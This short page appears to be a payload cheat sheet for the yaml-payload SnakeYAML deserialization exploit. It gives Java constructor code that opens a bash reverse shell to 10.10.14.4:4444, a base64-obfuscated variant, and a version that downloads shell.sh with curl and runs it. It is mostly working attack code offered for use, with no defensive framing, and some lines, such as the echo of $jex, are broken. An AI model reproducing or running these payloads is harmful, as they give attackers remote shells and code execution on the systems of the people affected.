yaml-payload
yaml-payload copied to clipboard
Additional Payloads
Additional Examples of Payloads: yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
public AwesomeScriptEngineFactory() {
String [] cmd={"bash","-c","bash -i >& /dev/tcp/10.10.14.4/4444 0>&1"};
String [] jex={"bash","-c","{echo,$(echo -n $cmd | base64)}|{base64,-d}|{bash,-i}"};
try {
Runtime.getRuntime().exec(cmd);
Runtime.getRuntime().exec(jex);
Runtime.getRuntime().exec("echo $jex");
} catch (IOException e) {
e.printStackTrace();
}
}
Putting a try-catch around every command: <Will error if you do not include a try-catch>
public AwesomeScriptEngineFactory() {
RunCmd("curl 10.10.14.4/shell.sh -o /tmp/shell.sh");
RunCmd("bash /tmp/shell.sh");
}
public String RunCmd(String Cmd) {
try {
Runtime.getRuntime().exec(Cmd);
} catch (IOException e) {
e.printStackTrace();
}
return null;
}